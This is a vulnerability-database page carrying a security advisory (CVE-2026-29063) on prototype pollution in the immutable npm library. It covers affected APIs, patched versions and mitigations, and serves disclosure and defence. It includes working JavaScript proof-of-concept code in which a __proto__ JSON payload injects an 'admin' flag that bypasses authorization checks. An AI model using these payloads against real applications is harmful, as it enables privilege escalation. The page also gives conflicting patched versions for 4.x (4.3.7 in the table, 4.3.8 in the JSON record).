Vulnerability-Lookup

GHSA-WF6X-7X77-MVGW

Vulnerability from github – Published: 2026-03-04 21:28 – Updated: 2026-03-06 22:51

Summary

Immutable is vulnerable to Prototype Pollution

Details

Impact

What kind of vulnerability is it? Who is impacted?

A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.

Affected APIs

API	Notes
`mergeDeep(target, source)`	Iterates source keys via `ObjectSeq`, assigns `merged[key]`
`mergeDeepWith(merger, target, source)`	Same code path
`merge(target, source)`	Shallow variant, same assignment logic
`Map.toJS()`	`object[k] = v` in `toObject()` with no `__proto__` guard
`Map.toObject()`	Same `toObject()` implementation
`Map.mergeDeep(source)`	When source is converted to plain object

Patches

Has the problem been patched? What versions should users upgrade to?

major version	patched version
3.x	3.8.3
4.x	4.3.7
5.x	5.1.5

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Proof of Concept

PoC 1 — mergeDeep privilege escalation

"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4

// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
  '{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);

const merged = mergeDeep(userProfile, requestBody);

console.log("merged.name:", merged.name); // Eve   (updated correctly)
console.log("merged.role:", merged.role); // user  (own property wins)
console.log("merged.admin:", merged.admin); // true  ← INJECTED via __proto__!

// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true  ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)

// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true

PoC 2 — All affected APIs

"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");

const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');

// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true

// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true

// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true

// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true

// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true

// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true

// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)

Verified output against immutable@5.1.4:

mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined  ← global Object.prototype NOT polluted

References

Are there any links users can visit to find out more?

JavaScript prototype pollution

Severity ?

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "immutable"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-rc.1"
            },
            {
              "fixed": "4.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "immutable"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "immutable"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29063"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T21:28:06Z",
    "nvd_published_at": "2026-03-06T19:16:21Z",
    "severity": "HIGH"
  },
  "details": "## Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.\n\n## Affected APIs\n\n| API                                     | Notes                                                       |\n| --------------------------------------- | ----------------------------------------------------------- |\n| `mergeDeep(target, source)`              | Iterates source keys via `ObjectSeq`, assigns `merged[key]` |\n| `mergeDeepWith(merger, target, source)`  | Same code path                                              |\n| `merge(target, source)`                    | Shallow variant, same assignment logic                      |\n| `Map.toJS()`                              | `object[k] = v` in `toObject()` with no `__proto__` guard   |\n| `Map.toObject()`                            | Same `toObject()` implementation                            |\n| `Map.mergeDeep(source)`                  | When source is converted to plain object                    |\n\n\n\n## Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n| major version | patched version |\n| --- | --- |\n| 3.x | 3.8.3 |\n| 4.x | 4.3.7 |\n| 5.x | 5.1.5 |\n\n## Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n- [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input)\n- [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto)\n- [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects)\n- [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype)\n- [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype)\n\n## Proof of Concept\n\n### PoC 1 \u2014 mergeDeep privilege escalation\n\n```javascript\n\"use strict\";\nconst { mergeDeep } = require(\"immutable\"); // v5.1.4\n\n// Simulates: app merges HTTP request body (JSON) into user profile\nconst userProfile = { id: 1, name: \"Alice\", role: \"user\" };\nconst requestBody = JSON.parse(\n  \u0027{\"name\":\"Eve\",\"__proto__\":{\"role\":\"admin\",\"admin\":true}}\u0027,\n);\n\nconst merged = mergeDeep(userProfile, requestBody);\n\nconsole.log(\"merged.name:\", merged.name); // Eve   (updated correctly)\nconsole.log(\"merged.role:\", merged.role); // user  (own property wins)\nconsole.log(\"merged.admin:\", merged.admin); // true  \u2190 INJECTED via __proto__!\n\n// Common security checks \u2014 both bypassed:\nconst isAdminByFlag = (u) =\u003e u.admin === true;\nconst isAdminByRole = (u) =\u003e u.role === \"admin\";\nconsole.log(\"isAdminByFlag:\", isAdminByFlag(merged)); // true  \u2190 BYPASSED!\nconsole.log(\"isAdminByRole:\", isAdminByRole(merged)); // false (own role=user wins)\n\n// Stealthy: Object.keys() hides \u0027admin\u0027\nconsole.log(\"Object.keys:\", Object.keys(merged)); // [\u0027id\u0027, \u0027name\u0027, \u0027role\u0027]\n// But property lookup reveals it:\nconsole.log(\"merged.admin:\", merged.admin); // true\n```\n\n### PoC 2 \u2014 All affected APIs\n\n```javascript\n\"use strict\";\nconst { mergeDeep, mergeDeepWith, merge, Map } = require(\"immutable\");\n\nconst payload = JSON.parse(\u0027{\"__proto__\":{\"admin\":true,\"role\":\"superadmin\"}}\u0027);\n\n// 1. mergeDeep\nconst r1 = mergeDeep({ user: \"alice\" }, payload);\nconsole.log(\"mergeDeep admin:\", r1.admin); // true\n\n// 2. mergeDeepWith\nconst r2 = mergeDeepWith((a, b) =\u003e b, { user: \"alice\" }, payload);\nconsole.log(\"mergeDeepWith admin:\", r2.admin); // true\n\n// 3. merge\nconst r3 = merge({ user: \"alice\" }, payload);\nconsole.log(\"merge admin:\", r3.admin); // true\n\n// 4. Map.toJS() with __proto__ key\nconst m = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r4 = m.toJS();\nconsole.log(\"toJS admin:\", r4.admin); // true\n\n// 5. Map.toObject() with __proto__ key\nconst m2 = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r5 = m2.toObject();\nconsole.log(\"toObject admin:\", r5.admin); // true\n\n// 6. Nested path\nconst nested = JSON.parse(\u0027{\"profile\":{\"__proto__\":{\"admin\":true}}}\u0027);\nconst r6 = mergeDeep({ profile: { bio: \"Hello\" } }, nested);\nconsole.log(\"nested admin:\", r6.profile.admin); // true\n\n// 7. Confirm NOT global\nconsole.log(\"({}).admin:\", {}.admin); // undefined (global safe)\n```\n\n**Verified output against immutable@5.1.4:**\n\n```\nmergeDeep admin: true\nmergeDeepWith admin: true\nmerge admin: true\ntoJS admin: true\ntoObject admin: true\nnested admin: true\n({}).admin: undefined  \u2190 global Object.prototype NOT polluted\n```\n\n\n## References\n_Are there any links users can visit to find out more?_\n\n- [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)",
  "id": "GHSA-wf6x-7x77-mvgw",
  "modified": "2026-03-06T22:51:31Z",
  "published": "2026-03-04T21:28:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/immutable-js/immutable-js/security/advisories/GHSA-wf6x-7x77-mvgw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29063"
    },
    {
      "type": "WEB",
      "url": "https://github.com/immutable-js/immutable-js/issues/2178"
    },
    {
      "type": "WEB",
      "url": "https://github.com/immutable-js/immutable-js/commit/16b3313fdf2c5f579f10799e22869f6909abf945"
    },
    {
      "type": "WEB",
      "url": "https://github.com/immutable-js/immutable-js/commit/6e2cf1cfe6137e72dfa48fc2cfa8f4d399d113f9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/immutable-js/immutable-js/commit/6ed4eb626906df788b08019061b292b90bc718cb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/immutable-js/immutable-js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/immutable-js/immutable-js/releases/tag/v3.8.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/immutable-js/immutable-js/releases/tag/v4.3.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/immutable-js/immutable-js/releases/tag/v5.1.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Immutable is vulnerable to Prototype Pollution"
}

CVE-2026-29063 (GCVE-0-2026-29063)

Vulnerability from cvelistv5 – Published: 2026-03-06 18:25 – Updated: 2026-03-06 19:33

Title

Immutable.js: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in immutable

Summary

Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.

Severity ?

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CWE

CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/immutable-js/immutable-js/secu…	x_refsource_CONFIRM
	https://github.com/immutable-js/immutable-js/rele…	x_refsource_MISC
	https://github.com/immutable-js/immutable-js/rele…	x_refsource_MISC
	https://github.com/immutable-js/immutable-js/rele…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	immutable-js	immutable-js	Affected: < 3.8.3 Affected: < 4.3.7 Affected: < 5.1.5

Show details on NVD website

JSON

To clipboard

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                "role": "CISA Coordinator",
                "timestamp": "2026-03-06T19:32:37.694711Z",
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Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-WF6X-7X77-MVGW

Impact

Affected APIs

Patches

Workarounds

Proof of Concept

PoC 1 — mergeDeep privilege escalation

PoC 2 — All affected APIs

References

CVE-2026-29063 (GCVE-0-2026-29063)

Tags

Sightings

Nomenclature